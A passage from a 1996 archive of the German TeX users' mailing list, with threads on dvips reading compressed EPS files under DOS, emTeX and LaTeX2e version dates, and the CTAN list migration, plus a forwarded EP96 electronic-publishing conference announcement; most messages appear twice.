+0200 Subject: Komprimierte .eps-files unter DOS? Hallo, dvips-Benutzer! Wenn man unter UNIX (etwa mit gzip) komprimierte .eps-Dateien mittels dvips und der \DeclareGraphicsRule-Option verarbeitet, klappt das einwandfrei. Aber kann man das auch unter DOS erreichen (bzw. unter 4DOS)? Ich habe das mehrfach probiert, z.B. \DeclareGraphicsRule{.zip}{eps}{.bb}{`unzip -c #1}, aber dvips meldet stets, dass diese Anweisung nicht ausgefuehrt werden kann ("failure in executing..."). Ich glaube nicht, dass das ein Pfad-Problem ist (ich habe auch schon versucht, alles, auch die unzip.exe, im selben Verzeichnis zu lassen). Ich waere dankbar fuer jeden Hinweis (es waere auch hilfreich, wenn ich wuesste, dass es prinzipiell nicht geht). Thomas Hempfling ------------------------------------------------------------- Thomas Hempfling Mathematisches Institut der Universitaet Erlangen-Nuernberg ------------------------------------------------------------- From root Thu Jul 18 23:48:50 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Rainer Schoepf Date: Thu, 18 Jul 1996 19:01:13 +0200 Subject: Migration of CTAN-related mailing lists The CTAN-related mailing lists CTAN@shsu.edu CTAN-ANN@shsu.edu have now been migrated to a new mailing list server, located at Heidelberg, Germany. These lists can now be reached as CTAN@urz.Uni-Heidelberg.de CTAN-ANN@urz.Uni-Heidelberg.de Requests for subscription/deletion must be sent to LISTSERV@urz.Uni-Heidelberg.de For the CTAN team -- Rainer Sch=EApf Zentrum f=F0r Datenverarbeitung A point of view can be a dangerous der Universit=A2t Mainz luxury when substituted for insight Anselm-Franz-von-Bentzel-Weg 12 and understanding. D-55099 Mainz Germany Herbert Marshall McLuhan: The Gutenberg Galaxy From root Thu Jul 18 23:48:50 1996 Message-Id: <199607181701.TAA07334@roquefort.zdv.Uni-Mainz.DE> Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Rainer Schoepf To: Multiple recipients of list TEX-D-L Date: Thu, 18 Jul 1996 19:01:13 +0200 Subject: Migration of CTAN-related mailing lists The CTAN-related mailing lists CTAN@shsu.edu CTAN-ANN@shsu.edu have now been migrated to a new mailing list server, located at Heidelberg, Germany. These lists can now be reached as CTAN@urz.Uni-Heidelberg.de CTAN-ANN@urz.Uni-Heidelberg.de Requests for subscription/deletion must be sent to LISTSERV@urz.Uni-Heidelberg.de For the CTAN team -- Rainer Sch=EApf Zentrum f=F0r Datenverarbeitung A point of view can be a dange= rous der Universit=A2t Mainz luxury when substituted for in= sight Anselm-Franz-von-Bentzel-Weg 12 and understanding. D-55099 Mainz Germany Herbert Marshall McLuhan: The Gutenberg Galaxy From owner-tex-d-l@vm.gmd.de Fri Jul 19 08:46:28 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Bernd Raichle Date: Fri, 19 Jul 1996 08:46:36 +0200 Subject: Re: Versionen emtex, latex, latex2e? Peter Arpad WESEL schrieb: [...] : Ich habe mir vor ca. 3 Wochen das Verzeichnis emtex [...] : Jetzt zu meiner Unklarheit: : lt readme.ger versionen: : LaTeX 2.09 <25 March 1992> : LaTeX2e 1996/06/01 : plain.tex 3.141592 Das sind die neuesten Versionen... (wobei LaTeX 2.09 obsolet ist und nur noch fuer Uralt-Dokumente da ist, die nicht im 2.09-Kompatibilitaetsmodus von LaTeX2e laufen). : Wenn ich latex2e aufrufe dann erscheint das Datum von : oben <1996/06/01>. : Wenn ich im Dokument setze \documentclass[11pt]{article}[1996/06/01] : erscheint die Warnung: : You have requested, on input line 1, version 1996/06/01 ..., but only : version 1996/05/26 v1.3r Standard LaTeX document class is available. Ja, denn `article.cls' ist nicht vom 1.6.96. Um sich der Version von LaTeX2e sicher zu sein, sollte man \NeedsTeXFormat{LaTeX2e}[1996/06/01] verwenden (und endlich mal `usrguide.*' durchlesen!!!!). Hinweis: Das optionale Argument mit dem Datum sollte man wirklich nur dann mit angeben, wenn man bestimmte Eigenschaften einer LaTeX2e- Version benoetigt, die in einer vorherigen Version noch nicht vorhanden war. Dies ist meist die Ausnahme, also weglassen, ausser sie wird wirklich(!) benoetigt. [...] : Ich moechte naemlich wissen, welche version(en) ich nun wirklich : installiert habe! Version muesste ok sein. Gruesse, -bernd From root Fri Jul 19 16:22:56 1996 Message-Id: <199607190646.IAA03482@isle> Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Bernd Raichle To: Multiple recipients of list TEX-D-L In-Reply-To: <9607190553.AA13442@stud1.tuwien.ac.at> (message from Peter A= Date: Fri, 19 Jul 1996 08:46:36 +0200 Subject: Re: Versionen emtex, latex, latex2e? Peter Arpad WESEL schrieb: [...] : Ich habe mir vor ca. 3 Wochen das Verzeichnis emtex [...] : Jetzt zu meiner Unklarheit: : lt readme.ger versionen: : LaTeX 2.09 <25 March 1992> : LaTeX2e 1996/06/01 : plain.tex 3.141592 Das sind die neuesten Versionen... (wobei LaTeX 2.09 obsolet ist und nur noch fuer Uralt-Dokumente da ist, die nicht im 2.09-Kompatibilitaetsmodus von LaTeX2e laufen). : Wenn ich latex2e aufrufe dann erscheint das Datum von : oben <1996/06/01>. : Wenn ich im Dokument setze \documentclass[11pt]{article}[1996/06/01] : erscheint die Warnung: : You have requested, on input line 1, version 1996/06/01 ..., but only : version 1996/05/26 v1.3r Standard LaTeX document class is available. Ja, denn `article.cls' ist nicht vom 1.6.96. Um sich der Version von LaTeX2e sicher zu sein, sollte man \NeedsTeXFormat{LaTeX2e}[1996/06/01] verwenden (und endlich mal `usrguide.*' durchlesen!!!!). Hinweis: Das optionale Argument mit dem Datum sollte man wirklich nur dann mit angeben, wenn man bestimmte Eigenschaften einer LaTeX2e- Version benoetigt, die in einer vorherigen Version noch nicht vorhanden war. Dies ist meist die Ausnahme, also weglassen, ausser sie wird wirklich(!) benoetigt. [...] : Ich moechte naemlich wissen, welche version(en) ich nun wirklich : installiert habe! Version muesste ok sein. Gruesse, -bernd From root Fri Jul 19 07:54:44 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Peter Arpad WESEL Date: Fri, 19 Jul 1996 07:44:20 -0400 Subject: Versionen emtex, latex, latex2e? Hallo *! Ich bin mir unklar, welche Versionen ich im Einsatz habe, bzw. ob bei meiner Installation etwas schief gelaufen ist. Ich habe mir vor ca. 3 Wochen das Verzeichnis emtex von dante runterkopiert. Die Installation lief problemlos (beta-inst) und auch meine bisherigen Dokumente stiessen bei ihrer Umwandlung auf keine nennenswerten Probleme. Jetzt zu meiner Unklarheit: lt readme.ger versionen: LaTeX 2.09 <25 March 1992> LaTeX2e 1996/06/01 plain.tex 3.141592 Wenn ich latex2e aufrufe dann erscheint das Datum von oben <1996/06/01>. Wenn ich im Dokument setze \documentclass[11pt]{article}[1996/06/01] erscheint die Warnung: You have requested, on input line 1, version 1996/06/01 ..., but only version 1996/05/26 v1.3r Standard LaTeX document class is available. Das letzte Datum kommt im readme.ger (versionen) weder bei LaTeX noch bei LaTeX2e vor. Welche Version ist nun die richtige, oder ist bei meiner Installation etwas schief gelaufen? Wie erkenne ich, ob ich die version emtex 3.0 installiert habe? Ist sie mit dem Datum 21. Juni 1996 identisch? Ich moechte naemlich wissen, welche version(en) ich nun wirklich installiert habe! Danke im voraus! m.f.G. Peter Wesel e9227527@student.tuwien.ac.at From root Fri Jul 19 07:54:44 1996 Message-Id: <9607190553.AA13442@stud1.tuwien.ac.at> Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Peter Arpad WESEL To: Multiple recipients of list TEX-D-L In-Reply-To: <11FDEA056BF@bzs.tu-graz.ac.at> Date: Fri, 19 Jul 1996 07:44:20 -0400 Subject: Versionen emtex, latex, latex2e? Hallo *! Ich bin mir unklar, welche Versionen ich im Einsatz habe, bzw. ob bei meiner Installation etwas schief gelaufen ist. Ich habe mir vor ca. 3 Wochen das Verzeichnis emtex von dante runterkopiert. Die Installation lief problemlos (beta-inst) und auch meine bisherigen Dokumente stiessen bei ihrer Umwandlung auf keine nennenswerten Probleme. Jetzt zu meiner Unklarheit: lt readme.ger versionen: LaTeX 2.09 <25 March 1992> LaTeX2e 1996/06/01 plain.tex 3.141592 Wenn ich latex2e aufrufe dann erscheint das Datum von oben <1996/06/01>. Wenn ich im Dokument setze \documentclass[11pt]{article}[1996/06/01] erscheint die Warnung: You have requested, on input line 1, version 1996/06/01 ..., but only version 1996/05/26 v1.3r Standard LaTeX document class is available. Das letzte Datum kommt im readme.ger (versionen) weder bei LaTeX noch bei LaTeX2e vor. Welche Version ist nun die richtige, oder ist bei meiner Installation etwas schief gelaufen? Wie erkenne ich, ob ich die version emtex 3.0 installiert habe? Ist sie mit dem Datum 21. Juni 1996 identisch? Ich moechte naemlich wissen, welche version(en) ich nun wirklich installiert habe! Danke im voraus! m.f.G. Peter Wesel e9227527@student.tuwien.ac.at From owner-tex-d-l@VM.GMD.DE Fri Jul 19 13:57:32 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Transfer-Encoding: 7BIT Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: "J%org Knappen, Mainz" Date: Fri, 19 Jul 1996 13:59:57 +0100 Subject: Re: Versionen emtex, latex, latex2e? Peter, das sieht ganz nach einem Bug aus. Damit jetzt die Bugreport-Adresse nicht mit ein und derselben Bugmeldung "uberflutet wird, w"urde ich vorschlagen, da\3 Du diesen Bugreport einreichst. --J"org Knappen. From root Fri Jul 19 14:22:27 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=3DUS-ASCII Content-Transfer-Encoding: 7BIT Message-Id: <01I79COEM602BG1YYS@MZDMZA.ZDV.UNI-MAINZ.DE> Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: "J%org Knappen, Mainz" To: Multiple recipients of list TEX-D-L Date: Fri, 19 Jul 1996 13:59:57 +0100 Subject: Re: Versionen emtex, latex, latex2e? Peter, das sieht ganz nach einem Bug aus. Damit jetzt die Bugreport-Adresse nicht mit ein und derselben Bugmeldung "uberflutet wird, w"urde ich vorschlagen, da\3 Du diesen Bugreport einreichst. --J"org Knappen. From root Fri Jul 19 21:03:51 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Eberhard Mattes Date: Fri, 19 Jul 1996 21:02:18 +0200 Subject: Re: Versionen emtex, latex, latex2e? > Das sind die neuesten Versionen... (wobei LaTeX 2.09 obsolet ist und > nur noch fuer Uralt-Dokumente da ist, die nicht im > 2.09-Kompatibilitaetsmodus von LaTeX2e laufen). ...und fuer sehr kleine Maschinen fuer die LaTeX2e trotz der Autoload-Version zu gross ist (hash size). Eberhard Mattes From root Fri Jul 19 21:03:51 1996 Message-Id: <199607191902.VAA29110@azu.informatik.uni-stuttgart.de> Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Eberhard Mattes To: Multiple recipients of list TEX-D-L In-Reply-To: <199607190646.IAA03482@isle> (message from Bernd Raichle on F= Date: Fri, 19 Jul 1996 21:02:18 +0200 Subject: Re: Versionen emtex, latex, latex2e? > Das sind die neuesten Versionen... (wobei LaTeX 2.09 obsolet ist und > nur noch fuer Uralt-Dokumente da ist, die nicht im > 2.09-Kompatibilitaetsmodus von LaTeX2e laufen). ...und fuer sehr kleine Maschinen fuer die LaTeX2e trotz der Autoload-Version zu gross ist (hash size). Eberhard Mattes From owner-tex-d-l@VM.GMD.DE Thu Jul 25 12:44:13 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: "Luzia Dietsche - Secretary DANTE e.V." Date: Thu, 25 Jul 1996 10:59:10 +0200 Subject: EP 96 announcment zur allgemeinen information. mit freundlichen gruessen luzia dietsche *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* DANTE, Deutschsprachige Anwendervereinigung TeX e.V. Postfach 101840 D-69008 Heidelberg Schriftfuehrerin DANTE e.V. Tel: 06221/29766 Fax: 06221/167906 email: dante@dante.de Infos: ftp.dante.de oder ftpmail@dante.de in /tex-archive/usergrps/dante/ oder http://www.dante.de/ ------- start of forwarded message (RFC 934 encapsulation) ------- From: Jacques Andre Subject: EP 96 announcment EP96 FIVE DAYS OF ELECTRONIC PUBLISHING AND DOCUMENT PROCESSING Palo Alto, Californie, USA -- September 22-26, 1996 EP96 Conference on electronic publishing and document manipulation PODP96 Principles of document processing PODP96 and EP96 comprise a five-day technical gathering focused on recent progress in electronic documents. PODP96, principles of document processing, is a workshop devoted to examining the confluence of document processing and computer science. EP96 continues the tradition of a general conference devoted to electronic documents. Tutorials are offered and may be attended by any participant. PODP96 Workshop on the principles of document processing Monday, September 23 PODP96 will be the third in a series of international workshops organized to promote the modeling of document processing systems using theories and tools from computer science, mathematics, etc. Areas of document processing presented in the first workshop in Washington, DC were document formatting, document conversion, document representation, document recognition, document retrieval, and hypertext, among others. The second workshop in Darmstadt, Germany concentrated on document databases. For more information please contact Prof. Charles Nicholas (nicholas@cs.umbc.edu). EP96 Electronic publishing and document manipulation Tuesday, September 24 - Thursday, September 26 This conference will be the sixth in a series of international conferences organized to promote the exchange of novel ideas in the area of computer document manipulation. The first two conferences in the series, EP86 held in Nottingham, England, and EP88 in Nice, France, concentrated mainly on the specific aspects of electronic document production, from composition to printing. EP90, which took place in Washington, DC, adopted a broader definition of the term Computer Assisted Publication, and accordingly, extended its range of topics to include hypertext and hypermedia systems, document recognition and analysis, and application of database techniques to document handling. EP92, held in Lausanne, Switzerland, confirmed the trend for documents to affect more and more areas in computer science. EP94, held in Darmstadt, Germany, focused explicitly on document representation, transformation, management and interpretation. EP94; EP96 follows this trend. FIVE-DAY OVERVIEW Sunday 22: pm 3:00-6:00 Pre-Conference Registration (at Dinah's Garden Hotel) Monday 23: am 8:30-12:30 EP96 Tutorials 1 and 2/PODP96 pm 2:00-6:00 EP96 Tutorials 1 and 3/PODP96 Tuesday 24: am 9:00-10:00 Invited Talk 10:00-10:30 Coffee Break 10:30-12:00 Session A: Structured Documents I pm 12:00-2:00 Lunch Break 2:00-3:00 Session B: Multimedia and Typecases 3:00-3:30 Coffee Break 3:30-5:00 Session C: Presentation and Representation 6:00-8:00 Reception Wednesday 25: am 9:00-10:00 Invited Talk 10:00-10:30 Coffee Break 10:30-12:00 Session D: Structured Documents II pm 12:00-2:00 Lunch Break 2:00-3:00 Session E: Document Analysis and Compression 3:00-3:30 Coffee Break 3:30-6:00 Exhibitions 6:30-10:00 Banquet Thursday 26 am 9:00-10:00 Invited Talk 10:00-10:30 Coffee Break 10:30-12:00 Session F: Interfaces TUTORIALS Tutorial 1: Information Modeling Approaches to Meet New Publishing Demands (2 parts) -- Lorraine Stanford The advent of new publishing paradigms impacts on how information is created and captured in today's organizations. The need to create information once, and leverage the reuse of it many times grows as stakeholders grapple with rising costs of repurposing and republishing data. Historical approaches to information management and modeling impact on an enterprise's ability to meet these new publishing demands. Traditional requirements of paper publishing are changing to incorporate electronic publishing methods including electronic books and the World Wide Web. Without an ability to repurpose existing information into new uses, these new demands cannot be satisfied economically, efficiently or expediently. As organizations move towards structured information creation and management, choosing which new approach to adopt becomes a critical decision. The use of the HyperText Markup Language (HTML) for the Internet specifically, or the Standard Generalized Markup Language (SGML) for electronic documents in general, provides mechanisms for reducing the costs of publishing information in multiple ways. The appropriate role for the Hypertext Markup Language (HTML) in the Document Development Life Cycle is as a publishing medium and not as a content capturing medium. It is inflexible to lock one's information into a single presentation medium, which is how the World Wide Web should be considered. This full day tutorial overviews how, when an organization's information is structured using content-oriented markup languages defined using Standard Generalized Markup Language (SGML), the information can be repurposed in different domains as required. From these information structures, presentation-oriented paper deliverables can be created to meet traditional publishing requirements. HTML, a presentation-oriented electronic markup language, can also be one of many outputs for the information, that being appropriate for global access in public or private Webs. The tutorial includes a detailed case history describing the architecture of the technical manual production system of a supplier of military equipment to a Canadian Department of National Defence (DND) Project Office. The Canadian DND CALS Office Engineering and Technical Information Model is the structure of the main store for information used in the production of technical manuals. The nature of the structure of the information model is content-oriented, based on the physical equipment breakdown structure (EBS). The nature of the structure of the technical manuals is presentation-oriented, based on a book paradigm. The tutorial also includes a live example of an SGML Application for publishing in three outputs: one Web style and two paper styles, each meeting a different purpose for the information. Completing the tutorial, pointers to publicly-maintained SGML resource catalogues are reviewed. Lorraine Stanford is a Senior Consultant with Microstar Software Ltd. Her main responsibility is the development and delivery of Microstar's training programme, which includes general SGML courses, as well as instruction in the use of Microstar's software tools and the company's unique, practical approach to implementing the Document Development Life Cycle. Ms. Stanford is also an active member of Microstar's Professional Services Group, which enables her to bring hands-on experience to the classroom. She joined Microstar in early 1994 following 14 years' experience providing Informatics consulting services. Ms. Stanford holds Bachelor of Arts and Bachelor of Education degrees from Queen's University at Kingston, Ontario. Tutorial 2: Colour document display and reproduction -- Roger Hersch, Victor Ostromoukov, and Tim Kohler. Color is an integral part of today's electronic documents. However, the problem of faithful color reproduction on a variety of display and printing devices incorporates many aspects, such as device calibration, color halftoning and gamut mapping. The goal of this tutorial is to present the scientific basis of colorimetry, the colorimetric behavior of scanners, displays and printers, categories of halftoning algorithms specifically conceived for color displays as well as current color management standards. 1. The basics of colorimetry From color matching experiments to the CIE-XYZ system Roger D. Hersch, Swiss Federal Institute of Technology, Lausanne 2. The colorimetric behavior of scanners, displays and printers Roger D. Hersch, Swiss Federal Institute of Technology, Lausanne 3. Halftoning for color displays (creation of color tables, dithering for display devices, halftoning in color space) V. Ostromoukhov, Swiss Federal Institute of Technology, Lausanne 4. The color management standards (ColourSync, ICC) Tim Kohler, Canon Information Systems Tutorial 3: CURRENT STATUS OF DOCUMENT IMAGE ANALYSIS -- George Nagy The conversion of documents into electronic form has proved more difficult than anticipated. Document image analysis still accounts for only a small fraction of the rapidly- expanding document imaging market. Nevertheless, the optimism manifested over the last thirty years has not dissipated. There is increased emphasis on large-scale, automated comparative evaluation, using laboriously compiled test databases. The cost of generating these databases has stimulated new research on synthetic noise models. Driven partly by document distribution on CD-ROM and via the World Wide Web, there is more interest in the preservation of layout and format attributes to increase searchability and legibility (sometimes called "page reconstruction") rather than just text/non-text separation. At the same time, the requirements of downstream software, such as word processing, information retrieval and computer-aided design applications, favor turning the results of the analysis and recognition into some standard computer format. The realization that accurate document image analysis requires fairly specific pre-stored information has resulted in the investigation of new data structures for knowledge bases and for the representation of the results of partial analysis. Progress is reported on documents - primarily office forms - containing a mix of handprinted, handwritten and printed material, and research on stylus-based data entry is spurred by the popularity of notepad computers. Other active topics include image, text-image, and text compression; map and line-drawing conversion; half-tone and color processing; and text-entry for digital libraries. EP96 The Conference Organization Program committee chair: Anne Bru"ggemann-Klein (Technische Universita"t Mu"nchen, Germany) Conference chair: Allen L. Brown, Jr. (Xerox Corporation, Palo Alto, USA) Program committee: Jacques Andre' INRIA/IRISA, Rennes, France Charles Bigelow Stanford University, USA David F. Brailsford University of Nottingham, UK Allen L. Brown, Jr. Xerox Corporation, Palo Alto, USA Heather Brown University of Kent, Canterbuty, UK Anne Bru"ggemann-Klein Technische Universita"t Mu"nchen, Germany Giovanni Coray Swiss Federal Institute of Technology, Lausanne, Switzerland Anton Eliens Free University, Amsterdam, The Netherlands An Feng Xerox Corporation, Palo Alto, USA Hans-Peter Frei UBILAB, Union Bank of Switzerland, Zu"rich, Switzerland Richard Furuta Texas A&M University, USA Roger D. Hersch Swiss Federal Institute of Technology, Lausanne, Switzerland Christoph Hu"ser GMD-IPSI, Darmstadt, Germany Rolf Ingold University of Fribourg, Switzerland Brian Kernighan AT&T Bell Laboratories, Murray Hill, USA Peter King University of Manitoba, Canada Dario Lucarella CRA-ENEL, Milan, Italy Pierre MacKay University Washington, USA Robert A. Morris University of Massachusetts, Boston, USA Makoto Murata Fuji Xerox Information Systems, Kawasaki, Japan Marc Nanard CRIM, Montpellier, France Vincent Quint INRIA/IMAG, Grenoble, France Richard Rubinstein Sun Microsystems, USA Christine Vanoirbeek Swiss Federal Institute of Technology, Lausanne, Switzerland Hans van Vliet Free University, Amsterdam, The Netherlands Wang Xuan Peking University, Beijing, China EP96 PROGRAM Tuesday 24: am 9:00-10:00 Invited Talk: Hal R. Varian (Professor and Dean of the School of Information Management and Systems at the University of California at Berkeley) 10:30-12:00 Session A: Structured Documents I Web Applications and SGML by JACCO VAN OSSENBRUGGEN, ANTON ELIE"NS AND BASTIAAN SCHO"NHAGE SGML/HyTime Repositories and the Object Paradigm by PATRICIA FRANCOIS, PHILIPPE FUTTERSACK AND CHRISTOPHE ESPERT Typographic Sheets and Structured Documents by HE'LE`NE RICHY AND JACQUES ANDRE' pm 2:00-3:00 Session B: Multimedia and Typecases Modelling Multimedia Documents by PETER R. KING The Traditional Arabic Typecase Extended to the Unicode Set of Glyphs by YANNIS HARALAMBOUS 3:30-5:00 Session C: Presentation and Representation A New Presentation Language for Structured Documents by ETHAN V. MUNSON Pagination Reconsidered by ANNE BRU"GGEMANN-KLEIN, ROLF KLEIN AND STEFAN WOHLFEIL Towards Structured, Block-Based PDF by PHILIP N. SMITH AND DAVID F. BRAILSFORD Wednesday 25: am 9:00-10:00 Invited Talk: Peter Hibbard (Principal Scientist, Adobe Systems, Inc.) 10:30-12:00 Session D: Structured Documents II XTABLE---A Tabular Editor and Formatter by XINXIN WANG AND DERICK WOOD Filtering Structured Documents in the SYNDOC Environment by E. KUIKKA AND A. SALMINEN Automatic Generation of SGML Content Models by HELENA AHONEN pm 2:00-3:00 Session E: Document Analysis and Compression Document Analysis of PDF Files: Methods, Results and Implications by WILLIAM S. LOVEGROVE AND DAVID F. BRAILSFORD A Pattern-Based Lossy Compression Scheme for Document Images by QIN ZHANG AND JOHN M. DANSKIN 3:30-6:00 Exhibitions Thursday 26 am 9:00-10:00 Invited Talk: Bryan L. Bell (Strategic Technologist, Frank ussell Company) 10:30-12:00 Session F: Interfaces Using Documents as Interfaces to Information Systems by VIJAY KUMAR, RICHARD FURUTA AND ROBERT B. ALLEN Retrieval from Facet Spaces by ROBERT B. ALLEN The Stick-e Document: A Framework for Creating Context-Aware Applications by P. J. BROWN General Information Proceedings of the EP96 conference will be published by Wiley as a special issue of the journal EP-ODD and will be available in preprint form at the conference and in final form subsequently. The PODP96 workshop proceedings will be given to each participant at the beginning of the workshop. Location: The conference will be held principally on the campus of the Xerox Palo Alto Research Center (PARC) in Palo Alto, California. Palo Alto is south of the San Francisco International Airport and can be reached in approximately thirty minutes by automobile or any of several shuttle bus services available at the airport. Accommodation: Rooms have been reserved at an attractive rate for conference attendees at Dinah's Garden Hotel in Palo Alto. The rooms range in price from $100-$120 per night of stay. That rate will be provided to conference attendees beginning the night of September 21 and extending through the night of September 28. Dinah's is approximately three kilometers from the conference site. While it is a pleasant forty-minute walk from the Dinah's to PARC, a shuttle bus service will be provided for the convenience of the conference attendees. To reserve accommodations at Dinah's, attendees should contact: Mr. Bill Lyons Director of Sales Dinah's Garden Hotel 4261 El Camino Real Palo Alto, CA 94306 USA +1 415 493-2844 (tel) +1 415 856-8904(fax) +1 415 856-4713 (fax) Sponsors: The conference is sponsored by the Xerox Corporation, Adobe Systems, Inc., the School of Information Management and Systems of the University of California at Berkeley, and INRIA. Insurance: The organizers cannot be held liable to conference participants for injury, damage or loss of their personal property. It is suggested that participants make their own insurance arrangements. English: English is the official language of the conference, tutorials and workshop. Secretarial support including fax and phone will be available during the whole conference period. Registration: Please make your (binding) conference reservation by sending the completed registration form with payment to the conference secretariat. Confirmation will be given after receipt of the registration form. For a limited number of students conference attendance at a reduced fee is possible. Please send a copy of your student card. Fees for the conferences, workshops and tutorials include proceedings, the reception, coffee breaks, lunches, and the banquet dinner. Payment: Payment should be made in United States dollars payable to the Xerox Corporation by check. Credit cards (Visa and Mastercharge) are accepted. Cancellation: Fees will be returned in full for any written cancellation postmarked before September 1, 1996. No refunds will be made after this date. Registration forms should be sent to: EP96 Conference Secretariat Mrs. P.A. Gretz Xerox Corporation 3400 Hillview Avenue PAHV-127 Palo Alto, California 94304 USA fax: +1 415 813-7394 e-mail: ep96@xsoft.xerox.com EP96 Registration Form NAME: (please write last name first) _____________________________________ AFFILIATION: _____________________________________________________________ E-MAIL ADDRESS: __________________________________________________________ STREET ADDRESS: __________________________________________________________ TOWN/POSTAL CODE: __________________________ COUNTRY: ___________________ TELEPHONE: _________________________________ FAX: _______________________ FEES* Conference fees (excluding hotel room): before September 1 After September 1 _______ $350 _______ $425 (student price) _______ $200 _______ $225 Tutorial fees (excluding hotel room): before September 1 After September 1 Tutoral 1: _______ $400 _______ $500 (student) _______ $100 _______ $130 Tutoral 2: _______ $200 _______ $250 (student) _______ $50 _______ $65 Tutoral 3: _______ $200 _______ $250 (student) _______ $50 _______ $65 Attendees spouses and companions are welcome to attend the banquet event: _______ $30 Total amount due: _______ $ *************************************************************************** I am paying by: _____check _____VISA _____Mastercharge credit card number_________________________________ exp. date_____________ Total amount due: ________________________________________________________ Date: ____________________________________________________________________ Signature: _______________________________________________________________ *An attendee who wishes to pay by credit card may return a completed and signed copy of the above registration form to the secretariat via fax or post. Registration forms should be sent to: EP96 Conference Secretariat Mrs. P.A. Gretz Xerox Corporation 3400 Hillview Avenue PAHV-127 Palo Alto, California 94304 USA Tel +1 415 813-7003 fax +1 415 813-7308 e-mail ep96@xsoft.xerox.com ------- end ------- From root Thu Jul 25 11:00:30 1996 Message-Id: <199607250859.KAA27258@sun.dante.de> Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: "Luzia Dietsche - Secretary DANTE e.V." To: Multiple recipients of list TEX-D-L Date: Thu, 25 Jul 1996 10:59:10 +0200 Subject: EP 96 announcment zur allgemeinen information. mit freundlichen gruessen luzia dietsche *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* DANTE, Deutschsprachige Anwendervereinigung TeX e.V. Postfach 101840 D-69008 Heidelberg Schriftfuehrerin DANTE e.V. Tel: 06221/29766 Fax: 06221/167906 email: dante@dante.de Infos: ftp.dante.de oder ftpmail@dante.de in /tex-archive/usergrps/dante/ oder http://www.dante.de/ ------- start of forwarded message (RFC 934 encapsulation) ------- From: Jacques Andre Subject: EP 96 announcment EP96 FIVE DAYS OF ELECTRONIC PUBLISHING AND DOCUMENT PROCESSING Palo Alto, Californie, USA -- September 22-26, 1996 EP96 Conference on electronic publishing and document manipulation PODP96 Principles of document processing PODP96 and EP96 comprise a five-day technical gathering focused on recent progress in electronic documents. PODP96, principles of document processing= , is a workshop devoted to examining the confluence of document processing an= d computer science. EP96 continues the tradition of a general conference devoted to electronic documents. Tutorials are offered and may be attended by any participant. PODP96 Workshop on the principles of document processing Monday, September 23 PODP96 will be the third in a series of international workshops organized t= o promote the modeling of document processing systems using theories and tool= s from computer science, mathematics, etc. Areas of document processing presented in the first workshop in Washington, DC were document formatting,= document conversion, document representation, document recognition, documen= t retrieval, and hypertext, among others. The second workshop in Darmstadt, Germany concentrated on document databases. For more information please contact Prof. Charles Nicholas (nicholas@cs.umbc.edu). EP96 Electronic publishing and document manipulation Tuesday, September 24 - Thursday, September 26 This conference will be the sixth in a series of international conferences organized to promote the exchange of novel ideas in the area of computer document manipulation. The first two conferences in the series, EP86 held in Nottingham, England, and EP88 in Nice, France, concentrated mainly on th= e specific aspects of electronic document production, from composition to printing. EP90, which took place in Washington, DC, adopted a broader definition of the term Computer Assisted Publication, and accordingly, extended its range of topics to include hypertext and hypermedia systems, document recognition and analysis, and application of database techniques t= o document handling. EP92, held in Lausanne, Switzerland, confirmed the tren= d for documents to affect more and more areas in computer science. EP94, held= in Darmstadt, Germany, focused explicitly on document representation, transformation, management and interpretation. EP94; EP96 follows this tr= end. FIVE-DAY OVERVIEW Sunday 22: pm 3:00-6:00 Pre-Conference Registration (at Dinah's Garden Hotel) Monday 23: am 8:30-12:30 EP96 Tutorials 1 and 2/PODP96 pm 2:00-6:00 EP96 Tutorials 1 and 3/PODP96 Tuesday 24: am 9:00-10:00 Invited Talk 10:00-10:30 Coffee Break 10:30-12:00 Session A: Structured Documents I pm 12:00-2:00 Lunch Break 2:00-3:00 Session B: Multimedia and Typecases 3:00-3:30 Coffee Break 3:30-5:00 Session C: Presentation and Representation 6:00-8:00 Reception Wednesday 25: am 9:00-10:00 Invited Talk 10:00-10:30 Coffee Break 10:30-12:00 Session D: Structured Documents II pm 12:00-2:00 Lunch Break 2:00-3:00 Session E: Document Analysis and Compression= 3:00-3:30 Coffee Break 3:30-6:00 Exhibitions 6:30-10:00 Banquet Thursday 26 am 9:00-10:00 Invited Talk 10:00-10:30 Coffee Break 10:30-12:00 Session F: Interfaces TUTORIALS Tutorial 1: Information Modeling Approaches to Meet New Publishing Demands (2 parts) -- Lorraine Stanford The advent of new publishing paradigms impacts on how information is create= d and captured in today's organizations. The need to create information once= , and leverage the reuse of it many times grows as stakeholders grapple with risi= ng costs of repurposing and republishing data. Historical approaches to information management and modeling impact on an enterprise's ability to meet these new publishing demands. Traditional requirements of paper publishing are changing to incorporate electronic publishing methods including electronic books and the World Wide Web. Witho= ut an ability to repurpose existing information into new uses, these new deman= ds cannot be satisfied economically, efficiently or expediently. As organizat= ions move towards structured information creation and management, choosing which= new approach to adopt becomes a critical decision. The use of the HyperText Markup Language (HTML) for the Internet specifical= ly, or the Standard Generalized Markup Language (SGML) for electronic documents= in general, provides mechanisms for reducing the costs of publishing informati= on in multiple ways. The appropriate role for the Hypertext Markup Language (HTML) in the Document Development Life Cycle is as a publishing medium and= not as a content capturing medium. It is inflexible to lock one's information = into a single presentation medium, which is how the World Wide Web should be considered. This full day tutorial overviews how, when an organization's information is= structured using content-oriented markup languages defined using Standard Generalized Markup Language (SGML), the information can be repurposed in different domains as required. From these information structures, presentation-oriented paper deliverables can be created to meet traditional= publishing requirements. HTML, a presentation-oriented electronic markup language, can also be one of many outputs for the information, that being appropriate for global access in public or private Webs. The 